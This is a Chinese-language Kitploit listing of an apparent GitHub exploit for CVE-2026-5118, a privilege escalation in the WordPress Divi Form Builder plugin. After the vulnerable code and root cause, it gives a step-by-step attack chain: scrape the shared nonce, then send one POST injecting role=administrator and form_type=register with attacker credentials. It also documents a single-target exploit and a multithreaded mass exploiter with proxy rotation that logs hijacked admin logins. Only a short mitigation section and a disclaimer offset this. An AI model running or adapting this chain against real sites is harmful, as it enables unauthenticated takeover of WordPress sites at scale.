Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5118 — 自动化的 CVE-2026-5118 漏洞利用与批量扫描器,该漏洞是 WordPress Divi Form Builder <=5.1.2 中存在的未认证权限提升漏洞,可通过角色注入创建管理员账户。 | Kitploit
工具/GitHubGitHub/1beelze/cve-2026-5118
权限提升Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证红队
GitHub1beelze/cve-2026-5118

CVE-2026-5118

自动化的 CVE-2026-5118 漏洞利用与批量扫描器,该漏洞是 WordPress Divi Form Builder <=5.1.2 中存在的未认证权限提升漏洞,可通过角色注入创建管理员账户。

421个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

未认证权限提升(通过角色注入)
=== Beelze ( 零日漏洞 1diot9 ) ===


📋 漏洞信息

字段详情
CVE IDCVE-2026-5118
CVSS 评分9.8 (严重)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-269 — 不恰当的权限管理
插件Divi Form Builder (由 Divi Engine 开发)
受影响版本所有版本 ≤ 5.1.2
已修复版本5.1.3 (2026年4月13日)
公开日期2026年5月20日
研究人员0xd4rk5id3 — EnvoraSec
PoCBeelze ( 零日漏洞 1diot9 )

🔍 描述

Divi Form Builder WordPress 插件在 5.1.2 及之前所有版本中存在 未认证权限提升 漏洞。

位于 FormSubmissionHandler.php 中的 create_user() 函数在用户注册过程中,从 POST 数据中接受用户控制的 role 参数,但未将该参数与表单配置的 default_user_role 设置进行验证。唯一的"保护"是 sanitize_text_field() —— 它仅去除 HTML 标签和编码,但 完全无法 将值限制在安全角色范围内 —— 随后进行的存在性检查仅验证该角色在 WordPress 中是否存在(而 administrator 始终存在)。

这三重缺陷使得未认证攻击者能够:

  1. 找到 任意 包含 Divi Form Builder 表单的页面(联系表单、报价表单、新闻通讯表单等)
  2. 从 de_fb_obj JavaScript 对象中提取 全局共享的 nonce(fb_nonce)
  3. 通过 POST 覆盖 form_type 为 register —— 将任何表单变成注册入口
  4. 在 AJAX 提交中注入 role=administrator
  5. 使用攻击者控制的凭证创建 完全的管理员账号

结果: 完全接管网站 —— 零认证、零用户交互、仅需一个 POST 请求。


🧬 根因分析

1. 未清洗的角色来源(从 POST 数据获取)

root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← 仅去除标签/编码!
    : 'subscriber';                              // ← 'administrator' 原样通过

sanitize_text_field() 专为自由文本清理(XSS 防护)设计。它 不会 根据安全角色的白名单进行验证。字符串 "administrator" 不包含任何 HTML 标签或特殊编码 —— 它完全不受影响地通过。

2. 仅存在性验证 —— 非安全检查

root@kitploit:~
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← 仅当角色不存在时回退
}

该检查询问:"这个角色在 WordPress 中存在吗?" —— 而 administrator 始终存在。它从未提出正确的问题:"这个角色对于公开展示的自我注册是否安全?" 正确的检查应针对像 ['subscriber', 'contributor'] 这样的白名单进行验证,或强制使用表单的 default_user_role 设置。

3. 无能力门控的直接角色分配

root@kitploit:~
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← 攻击者控制的角色直接应用

没有 current_user_can('create_users') 检查。没有 current_user_can('promote_users') 检查。没有任何类型的能力验证。攻击者提供的角色直接传递给 set_role()。

4. 全局共享 nonce —— 在每个包含表单的页面上暴露

root@kitploit:~
// 前端 JS 本地化
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← 所有表单、所有页面使用相同的 nonce
    // ...
]);

fb_nonce 通过 wp_create_nonce('security') 创建 —— 一个在站点上每个 DFB 表单之间共享的通用操作字符串。任何访客都可以通过阅读页面源码中的 de_fb_obj JavaScript 对象来提取它。

5. 表单类型覆盖 —— 任何表单变成注册端点

root@kitploit:~
// AJAX 处理器
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← 由 POST 覆盖触发!
}

form_type 从 POST 数据中读取,而非服务端表单配置。攻击者可以向 任意 DFB AJAX 提交发送 form_type=register —— 联系表单、报价请求、新闻通讯注册 —— 而服务器将执行注册代码路径。表单的原始目的无关紧要。


⚔️ 攻击链

root@kitploit:~
[未认证攻击者]
         │
         ▼
   GET /任意包含 DFB 表单的页面/
   ← HTML 源码: de_fb_obj = {"nonce":"abc123def0", ...}
         │
         ▼
   从 de_fb_obj JavaScript 对象中提取 fb_nonce
         │
         ▼
   POST /wp-admin/admin-ajax.php
   ┌──────────────────────────────────────────────┐
   │  action    = de_fb_ajax_submit_ajax_handler  │
   │  fb_nonce  = abc123def0                      │
   │  role      = administrator        ← 注入的    │
   │  form_type = register          ← 覆盖的      │
   │  user_login = attacker_admin                 │
   │  user_pass  = AttackerPass123!               │
   │  user_email = [email protected]              │
   └──────────────────────────────────────────────┘
         │
         ▼
   sanitize_text_field('administrator') → 'administrator'    ✓ 通过
   wp_roles()->roles['administrator'] 存在?→ 是           ✓ 通过
   $user->set_role('administrator')                          ✓ 无能力检查
         │
         ▼
   ← {"success": true, "data": {"message": "User created"}}
         │
         ▼
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 → /wp-admin/
         │
         ▼
   [完全管理员访问权限] 🔥

🛠️ 工具

CVE-2026-5118.py —— 单目标利用

完整的 5 阶段利用链,包含自动表单发现和 nonce 提取。

root@kitploit:~
python3 CVE-2026-5118.py
root@kitploit:~
  目标 URL: https://target.com
  用户名 [beelze_admin]:
  密码 [Beelze123!!@#!]:
  邮箱 [[email protected]]:
  超时(秒)[15]:
  SOCKS5 代理(留空 = 无):

利用阶段:

root@kitploit:~
阶段 1  ▶  可达性检测 (HTTPS + HTTP 回退)
阶段 2  ▶  插件检测 (readme.txt 版本检查)
阶段 3  ▶  表单发现与 Nonce 提取
             ├── REST API 页面扫描
             ├── 常见路径探测
             ├── 站点地图爬取
             └── 首页链接爬取
阶段 4  ▶  角色注入 (权限提升)
阶段 5  ▶  管理员登录验证

输出 (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target.com | beelze_admin:Beelze123!!@#!

CVE-2026-5118-mass.py —— 批量扫描器

多线程批量利用,支持 JSONL 日志记录和恢复功能。

root@kitploit:~
python3 CVE-2026-5118-mass.py
root@kitploit:~
  目标文件(每行一个 URL): targets.txt
  用户名 [beelze_admin]:
  密码 [Beelze123!!@#!]:
  邮箱 [[email protected]]:
  线程数 [10]:
  超时(秒)[10]:
  代理文件(SOCKS5,每行一个,留空 = 无):
  恢复上次扫描?(y/n) [n]:

特性:

  • 多线程扫描,可配置线程数
  • SOCKS5 代理轮换
  • JSONL 输出,便于程序化处理
  • 恢复支持 —— 跳过已扫描的目标
  • 丰富的进度条,实时统计
  • HTTPS 失败时自动 HTTP 回退

输出 (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!

🔒 缓解措施

  • 将 Divi Form Builder 更新到 5.1.3 或更高版本
  • 补丁强制要求分配的角色始终是服务端在表单的 default_user_role 设置中配置的角色,忽略任何来自 POST 数据的用户提供的 role 参数

Beelze ( 零日漏洞 1diot9 ) —— 仅用于教育和授权的安全研究

下载工具